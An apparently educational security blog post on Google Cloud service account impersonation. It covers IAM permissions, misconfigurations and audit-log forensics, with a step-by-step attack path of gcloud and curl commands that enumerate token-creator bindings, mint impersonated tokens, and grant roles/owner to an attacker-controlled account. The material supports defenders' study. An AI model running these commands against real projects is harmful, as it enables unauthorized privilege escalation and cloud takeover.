GCP IAM: Service Account Impersonation Deep-Dive

GCP IAM: Service Account Impersonation Deep-Dive

Overview & Threat Landscape#

In Google Cloud Platform (GCP), modern enterprise security postures increasingly mandate the elimination of static, long-lived service account keys (.json credential files). Static keys are notoriously vulnerable to code repository leaks, developer workstation compromises, and unmonitored exfiltration. To replace static credentials, Google Cloud introduced Service Account Impersonation and the IAM Service Account Credentials API, enabling workloads and human identities to generate short-lived, ephemeral OAuth2 access tokens on demand.

However, while eliminating persistent keys on disk, service account impersonation introduces a critical architectural threat model: Token Exchange Privilege Escalation. In GCP's resource hierarchy, a Service Account occupies a unique dual identity:

  1. It is an Identity (principal) that can be granted IAM roles on cloud resources (such as Google Cloud Storage buckets, BigQuery datasets, or Compute Engine instances).
  2. It is simultaneously a Resource upon which IAM policies can be attached, controlling which other identities are permitted to "act as" or "impersonate" it.

When an organization grants a user, developer group, or low-privilege service account the permission to generate tokens on another service account—typically through the built-in role roles/iam.serviceAccountTokenCreator—that caller inherits all the privileges of the target service account. If access controls are misconfigured, this mechanism allows an adversary to execute seamless lateral movement and privilege escalation:

  • Bypassing Static Key Detection & Secret Scanners: Because no private key file is created, stored, or transferred across the network, automated security scanners (e.g., GitHub Secret Scanning, Trufflehog, cloud posture management tools) remain blind to the attack. The attacker acquires valid credentials directly from Google's official OAuth2 endpoint in memory.
  • Escalation to Project Owner via Chained Delegation: In complex multi-project cloud topologies, attackers exploit delegation chains (using the delegates parameter in the IAM Credentials API). A developer with read access in a development project can chain impersonations through intermediate service accounts to mint an access token for a deployment service account (such as a Terraform runner or CI/CD pipeline) holding roles/owner or roles/editor in production.
  • Cloud Audit Log Blindness & Attribution Masking: When an attacker performs administrative actions using an impersonated token, standard Cloud Audit Logs record the target service account's email as the acting principal. Unless security analysts explicitly parse the serviceAccountDelegationInfo metadata structure inside the audit record, the true identity of the originating attacker remains obscured.

[!WARNING] Granting roles/iam.serviceAccountTokenCreator on a service account is functionally equivalent to granting all permissions held by that service account. In GCP IAM, token creation is not merely a utility—it is a full privilege delegation boundary.


Vulnerability & Attack Root-Cause Analysis#

The root cause of service account impersonation escalation lies in the architectural mechanics of the Google Cloud IAM Service Account Credentials API (iamcredentials.googleapis.com) and the evaluation of IAM role bindings at the resource level.

The IAM Credentials API Specification#

When an identity requests a short-lived credential for another service account, it invokes the REST API endpoint:

JSON
POST https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/{SERVICE_ACCOUNT_EMAIL}:generateAccessToken

The request payload accepts configuration parameters determining token characteristics:

JSON
{
  "delegates": [
    "projects/-/serviceAccounts/intermediate-sa@corp-staging.iam.gserviceaccount.com"
  ],
  "scope": [
    "https://www.googleapis.com/auth/cloud-platform"
  ],
  "lifetime": "3600s"
}

The API evaluates three critical parameters:

  • delegates: An optional sequence of service accounts representing an impersonation chain. Every intermediate service account in the array must possess token creation rights on the subsequent member.
  • scope: The OAuth2 authorization scopes requested for the token (most commonly https://www.googleapis.com/auth/cloud-platform to access all GCP APIs).
  • lifetime: Duration of the generated token (ranging from a few minutes up to a maximum of 3600 seconds, or 12 hours if organization policy constraints allow).

The Root-Cause IAM Permissions#

The IAM framework enforces authorization using granular permissions attached to the target service account resource:

  1. iam.serviceAccounts.getAccessToken:
    • Encapsulated within roles/iam.serviceAccountTokenCreator.
    • Directly authorizes the caller to invoke generateAccessToken and receive an OAuth2 Bearer token (ya29.c.b0...).
  2. iam.serviceAccounts.signJwt / iam.serviceAccounts.signBlob:
    • Encapsulated within roles/iam.serviceAccountTokenCreator.
    • Allows the caller to force the service account's internal managed key to cryptographically sign arbitrary JSON Web Tokens or raw binary data. Attackers leverage signJwt to forge custom OIDC identity tokens, bypassing identity federation checks.
  3. iam.serviceAccounts.implicitDelegation:
    • Required on all intermediate service accounts when building multi-hop impersonation chains.
  4. iam.serviceAccounts.actAs:
    • Encapsulated within roles/iam.serviceAccountUser.
    • Authorizes a user to attach a service account to a compute resource (such as a Compute Engine VM, Cloud Run service, or Cloud Function). While not minting a token directly via API, it enables equivalent privilege escalation by deploying workloads executing under the service account's identity.

Resource-Level vs. Project-Level Policy Inversion#

A frequent architectural anti-pattern in GCP environments is granting roles/iam.serviceAccountTokenCreator at the Project level rather than on a specific, isolated service account:

BASH
# Anti-Pattern: Granting token creation across the entire project
gcloud projects add-iam-policy-binding target-prod-project     --member="user:contractor@external.com"     --role="roles/iam.serviceAccountTokenCreator"

When granted at the project level, the caller can impersonate every single service account within that project—including the Compute Engine default service account (PROJECT_NUMBER-compute@developer.gserviceaccount.com), Google-managed deployment accounts, and privileged Terraform execution identities.


Exploit Architecture#

The sequence diagram below details the protocol and authentication flow through which an attacker leverages a compromised developer identity to mint administrative access tokens and escalate to Project Owner:

sequenceDiagram
    autonumber
    actor Attacker as Compromised Principal (Developer)
    participant OAuth as Google OAuth2 Auth Server
    participant IAM as IAM Credentials API (iamcredentials)
    participant ResMgr as Cloud Resource Manager API
    participant Audit as Cloud Audit Logs Engine

    Note over Attacker,OAuth: Phase 1: Caller Authentication
    Attacker->>OAuth: Authenticate with Initial Credentials
    OAuth-->>Attacker: Return Caller Identity Token / Access Token

    Note over Attacker,IAM: Phase 2: Impersonation Request
    Attacker->>IAM: POST /v1/projects/-/serviceAccounts/tf-admin-sa@corp.iam...:generateAccessToken
    critical IAM Authorization Check
        IAM->>IAM: Evaluate Target SA Resource Policy
        Note over IAM: Caller possesses roles/iam.serviceAccountTokenCreator
    end
    IAM-->>Attacker: HTTP 200 OK {"accessToken": "ya29.c.b0...", "expireTime": "2026-09-29T04:25:00Z"}

    Note over Attacker,Audit: Phase 3: Telemetry Generation
    IAM->>Audit: Write GenerateAccessToken Audit Record
    Note over Audit: authenticationInfo.serviceAccountDelegationInfo captures Caller

    Note over Attacker,ResMgr: Phase 4: Exploitation of Minted Token
    Attacker->>ResMgr: POST /v1/projects/prod-project:setIamPolicy (Auth: Bearer ya29.c.b0...)
    ResMgr->>ResMgr: Validate Token Privileges (tf-admin-sa holds roles/owner)
    ResMgr-->>Attacker: HTTP 200 OK (Full Project Takeover Achieved)

Attack Path Step-by-Step#

Understanding the concrete operational steps an adversary undertakes during an impersonation-based attack enables security operations centers (SOC) and cloud forensics teams to pinpoint logging gaps and isolate lateral movement pathways.

Step 1: Enumerating Impersonation Candidates via Cloud Asset Inventory#

Once an adversary obtains execution context inside a cloud environment (e.g., through a compromised developer laptop or an exposed credential), they query the Cloud Asset Inventory or Resource Manager to discover service accounts and attached IAM bindings:

BASH
# Search for service accounts where the current caller has TokenCreator privileges
gcloud asset search-all-iam-policies     --scope="organizations/123456789012"     --query="policy:roles/iam.serviceAccountTokenCreator"     --format="json" | jq '.[] | {resource: .resource, roles: .policy.bindings[] | select(.role=="roles/iam.serviceAccountTokenCreator")}'

Alternatively, the attacker inspects individual service account IAM policies:

BASH
# Inspecting IAM policy of a high-value deployment service account
gcloud iam service-accounts get-iam-policy     deployer-sa@prod-infrastructure.iam.gserviceaccount.com     --format="json"

If the policy bindings list the attacker's user identity, current service account, or a group they belong to, the impersonation pathway is confirmed.

Step 2: Minting Short-Lived Access Tokens via the REST API#

With a target service account identified, the adversary invokes generateAccessToken directly via the command line or an automated script:

BASH
# Programmatic token generation using curl and the IAM Credentials API
TARGET_SA="deployer-sa@prod-infrastructure.iam.gserviceaccount.com"
CALLER_TOKEN=$(gcloud auth print-access-token)

IMPERSONATED_TOKEN=$(curl -s -X POST   "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/${TARGET_SA}:generateAccessToken"   -H "Authorization: Bearer ${CALLER_TOKEN}"   -H "Content-Type: application/json; charset=utf-8"   -d '{
    "scope": ["https://www.googleapis.com/auth/cloud-platform"],
    "lifetime": "3600s"
  }' | jq -r .accessToken)

echo "Minted Ephemeral OAuth2 Token: ${IMPERSONATED_TOKEN:0:20}..."

The returned OAuth2 Bearer token represents the full operational identity of deployer-sa.

Step 3: Multi-Hop Chained Delegation Across Project Boundaries#

If an adversary cannot directly impersonate the ultimate target, they leverage intermediate delegation chains. For example, if Principal A can impersonate Service Account B, and Service Account B can impersonate Service Account C (in another project):

BASH
# Chained impersonation across projects using gcloud CLI
gcloud config set auth/impersonate_service_account target-sa@production-env.iam.gserviceaccount.com
gcloud storage ls gs://production-sensitive-model-weights/

Under the hood, gcloud submits a single generateAccessToken request specifying intermediate-sa in the delegates array, establishing a cryptographically validated multi-hop delegation chain.

Step 4: Privilege Escalation and Administrative Takeover#

Equipped with the high-privilege token, the attacker performs administrative operations that their original identity was forbidden from executing.

For instance, an attacker can modify the project IAM policy to grant their personal user account permanent roles/owner privileges:

BASH
# Utilizing the impersonated token to modify project-level IAM policies
curl -X POST   "https://cloudresourcemanager.googleapis.com/v1/projects/prod-infrastructure:setIamPolicy"   -H "Authorization: Bearer ${IMPERSONATED_TOKEN}"   -H "Content-Type: application/json"   -d '{
    "policy": {
      "bindings": [
        {
          "role": "roles/owner",
          "members": ["user:adversary@attacker-controlled-domain.com"]
        }
      ]
    }
  }'

Step 5: DFIR Triage & Cloud Audit Log Reconstitution#

When investigating suspected impersonation escalation, forensic analysts must know where to look in Google Cloud Audit Logs.

When generateAccessToken is invoked, Cloud Audit Logs generates an Admin Activity audit event:

  • Service Name: iamcredentials.googleapis.com
  • Method Name: google.iam.credentials.v1.GenerateAccessToken
  • Resource Name: projects/-/serviceAccounts/{TARGET_SA_EMAIL}
  • Authentication Info: Contains the identity of the caller that initiated the request.

However, subsequent actions taken using the minted token record the target service account in protoPayload.authenticationInfo.principalEmail. To uncover the true source of the action, responders must inspect serviceAccountDelegationInfo:

JSON
{
  "protoPayload": {
    "serviceName": "cloudresourcemanager.googleapis.com",
    "methodName": "SetIamPolicy",
    "authenticationInfo": {
      "principalEmail": "deployer-sa@prod-infrastructure.iam.gserviceaccount.com",
      "serviceAccountDelegationInfo": [
        {
          "firstPartyPrincipal": {
            "principalEmail": "contractor@external.com"
          }
        }
      ]
    }
  }
}

The presence of firstPartyPrincipal exposes the true initiator of the administrative action.


Fast Cyber Defense Morning Takeaways#

  1. Service Accounts Are Security Boundaries: Treating service accounts purely as technical workload identities ignores their dual nature as delegable resources. Any identity granted roles/iam.serviceAccountTokenCreator must be audited with the same rigor as the target service account itself.
  2. Project-Level Bindings Cause Excessive Blast Radii: Binding token creation permissions at the project or folder level breaks the principle of least privilege, enabling trivial lateral movement across disparate workloads.
  3. Forensic Visibility Requires Delegation Inspection: Security detection pipelines that alert only on principalEmail will misattribute malicious actions to compromised service accounts rather than the rogue caller minting the tokens.

In tonight's Evening Defense Guide (EDITION 2), we will engineer end-to-end blue team defenses:

  • Restricting impersonation using GCP Organization Policies (constraints/iam.disableServiceAccountKeyCreation and constraints/iam.allowServiceAccountCredentialLifetimeExtension).
  • Writing automated Terraform and gcloud scripts to strip project-level serviceAccountTokenCreator bindings and enforce resource-level least-privilege.
  • Engineering production Sigma rules and Google Cloud Log Metric Filters to detect anomalous GenerateAccessToken invocations and suspicious multi-hop delegation chains.
  • Implementing automated IAM revocation playbooks to invalidate active OAuth2 tokens during active incident response.

Authoritative References#

  1. Google Cloud Documentation: Managing Service Account Impersonation & IAM Credentials API — Google Cloud IAM Guide
  2. MITRE ATT&CK Framework: Technique T1078.004: Valid Accounts - Cloud Accounts & Token Impersonation — MITRE ATT&CK
  3. Google Cloud Architecture Center: Privilege Escalation Analysis & Service Account Security Best Practices — Google Cloud Architecture
  4. Cybersecurity and Infrastructure Security Agency (CISA): Technical Guidance on Cloud Identity & Access Management Hardening — CISA Cloud Security

Comments